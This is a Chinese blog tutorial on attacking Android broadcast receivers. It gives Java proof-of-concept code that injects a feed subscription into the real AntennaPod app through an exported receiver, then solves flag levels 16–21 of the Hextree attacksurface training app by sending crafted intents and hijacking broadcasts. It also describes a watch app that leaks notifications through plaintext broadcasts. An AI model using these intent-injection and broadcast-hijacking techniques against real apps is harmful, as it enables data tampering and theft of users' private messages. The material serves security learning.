首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【安卓安全】广播接收器攻击面

【安卓安全】广播接收器攻击面

作者头像
yichen
发布2025-12-25 11:20:24
发布2025-12-25 11:20:24
690
举报
Android 应用程序可以向操作系统和其他 Android 应用程序发送和接收广播消息。例如,当发生某些系统事件(例如切换飞行模式)时,系统会自动发送广播。每个关注该事件(通过注册接收器)的应用程序都会收到这些广播,从而第一时间做出相应的处理

再举个例子,比如你拔出耳机的时候系统会发送一个耳机被拔出的广播,一些音乐 APP 接收到这个广播之后就可以去暂停音乐的播放。又比如,安卓系统有一个广播叫做:BOOT_COMPLETED,是系统启动后发出的,APP 可以根据这个广播来设置开机自启动

基本广播接收器

来通过一个播客 APP 看一下广播接收器:de.danoeh.antennapod

应用程序有两种方式使用广播接收器,一种是通过 AndroidManifest.xml 文件,使用 <receiver> 标签导出;另一种方法是使用 registerReceiver() 动态注册接收器类

通过对该播客 APP 进行逆向,可以找到两种方式

发送广播

在上面这个 APP 的例子中 de.danoeh.antennapod.spa.SPAReceiver 导出设置为 true,当接收到广播时会先判断是不是:de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE 广播动作,如果是则检查是否含有 ACTION_SP_APPS_QUERY_FEEDS_REPSONSE_FEEDS_EXTRA 数据(feeds)如果有则提取订阅列表数据,然后用 FeedDatabaseWriter.updateFeed 更新订阅

因此可以发送一个广播动作 de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE 来添加一个订阅,修改 POC 如下:

代码语言:javascript
复制
Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
        String[] feedUrls = {"https://media.rss.com/ctbbpodcast/feed.xml"};
        intent.putExtra("feeds", feedUrls);
        intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
        sendBroadcast(intent);
    }
});

可以看到当点击按钮后虽然有广播但是禁止调用了,这是安卓 8 中引入的新机制,为了节省电量限制了隐式的广播传递到应用程序

可以通过指定确切的目标来变成显示的广播,这样系统就会传递这个广播给播客 APP 了,因为不会唤醒很多个程序,只针对这一个应用程序

代码语言:javascript
复制
Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
        String[] feedUrls = {"https://media.rss.com/ctbbpodcast/feed.xml"};
        intent.putExtra("feeds", feedUrls);
        intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
        intent.setClassName("de.danoeh.antennapod","de.danoeh.antennapod.spa.SPAReceiver");
        sendBroadcast(intent);
    }
});

这时候就可以在播客列表中看到新增的订阅了

Flag16Receiver

继续看 io.hextree.attacksurface 的这个示例程序,首先看一下 io.hextree.attacksurface.receivers.Flag16Receiver

发现逻辑比较简单,只要接收到的意图中包含额外数据 flag:give-flag-16 即可

因此修改 POC 如下:

代码语言:javascript
复制
Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.putExtra("flag", "give-flag-16");
        intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag16Receiver");
        sendBroadcast(intent);
    }
});

Flag17Receiver

Flag17Receiver 会先接收一个 OrderedBroadcast 然后判断里面有没有 give-flag-17,如果有就调用 flag17Activity 中的 success 函数,通过广播再发回去,因此编写 POC 发送一个广播,然后再监听就可以收到了

代码语言:javascript
复制
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.putExtra("flag", "give-flag-17"); // 关键参数
        intent.setClassName("io.hextree.attacksurface",
                "io.hextree.attacksurface.receivers.Flag17Receiver");
        sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent) {
                Bundle result = getResultExtras(true);
                boolean ok = result.getBoolean("success", false);
                String flag = result.getString("flag", "N/A");
                homeText.setText(ok ? flag : "验证失败");
            }
        },      /* scheduler= */null,
                /* initialCode= */ Activity.RESULT_CANCELED,
                /* initialData= */null,
                /* initialExtras= */null); // 使用有序广播
    }
});

Flag18Activity

Flag18Activity 会往外发送广播,可以自己注册一个广播接收器来接收广播数据,另外这一关还定义了成功的条件是 resultCode 不等于 0

在 AndroidManifest.xml 中新建一个接收器并设置为导出

代码语言:javascript
复制
<receiver
    android:name=".HiJackReceiver"
    android:enabled="true"
    android:exported="true">
</receiver>

此时会提示你新建一个类,在类中接收意图并且提取 flag 并在 logcat 中打印,设置返回值为 2

代码语言:javascript
复制
public class HiJackReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        Log.i(BroadcastReceiver.class.getName(), "Flag 18: " + flag);
        setResultCode(2);
    }
}

在 MainActivity 中注册接收器,然后运行,当点击 Flag 18 时即可在 logcat 中看到了,同时题目通关也可以看到结果

代码语言:javascript
复制
BroadcastReceiver receiver = new HiJackReceiver();
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"));

Flag19Widget

桌面小组件本质上是广播接收器的封装,可以看到在 onReceive 函数判断 action 是否为:APPWIDGET_UPDATE,以及提取 Bundle 数据,对应代码:Bundle bundleExtra = intent.getBundleExtra("appWidgetOptions");

然后解析 bundle 数据中的 appWidgetMaxHeight 和 appWidgetMinHeight 若值符合 1094795585 和 322376503 则通过

因此我们要发送一个广播,action 是 APPWIDGET_UPDATE,包含 bundle 数据,然后就能看到 flag 了

代码语言:javascript
复制
Intent intent = new Intent();
Bundle bundle = new Bundle();
bundle.putInt("appWidgetMaxHeight", 1094795585);
bundle.putInt("appWidgetMinHeight", 322376503);
intent.setAction("APPWIDGET_UPDATE");
intent.putExtra("appWidgetOptions",bundle);
intent.setClassName("io.hextree.attacksurface",
        "io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);

Flag20Receiver

通过 jadx 逆向发现这一关卡通过 NotificationCompat.Builder 创建了一个通知消息,当点击该消息上的按钮时会发送一条广播,又因为通过 registerReceiver(new Flag20Receiver(), new IntentFilter(GET_FLAG)); 动态注册了接收器:Flag20Receiver

所以 Flag20Receiver 动态实例会优先接收到这个广播消息,然后解析其中的数据,判断是否包含额外数据 :"give-flag" 若包含则成功

但是因为点击按钮产生的这条广播不带额外的消息,因此是拿不到 flag 的,但是我们可以根据逆向结果,自己构造一个广播发送出去,得到 flag

代码语言:javascript
复制
Intent intent = new Intent();
intent.setAction("io.hextree.broadcast.GET_FLAG");
intent.putExtra("give-flag", true);
sendBroadcast(intent);

Flag21Receiver

这一关从我们发送广播变成了要接受到目标的广播,通过逆向可知,当我们点击这一关卡创建的通知中的按钮时会将 flag 以广播的形式发送出去,只要我们写一个广播接收器,就可以监听到传回来的 flag 了

因此其实只需要修改 Flag18Activity 的 POC 为:

代码语言:javascript
复制
BroadcastReceiver receiver = new HiJackReceiver();
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.GIVE_FLAG"));

点击通知栏的 GET FLAG 按钮就可以在 logcat 中看到 flag


看一个真实的隐患

某款手表的 APP 在接收到应用通知时会创建一个 intent 把消息封装,再通过广播把消息通知发出去,而且是明文的,如果你能够写一个 APP 监听这个广播就可以截获 APP 的消息了

而正常来说想要获取应用通知是需要用户给权限的,也就是说使用这款手表 APP 的用户安装了一个根本不会申请什么权限的 APP 也能把消息偷走

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-11-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本广播接收器
  • 发送广播
  • Flag16Receiver
  • Flag17Receiver
  • Flag18Activity
  • Flag19Widget
  • Flag20Receiver
  • Flag21Receiver
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档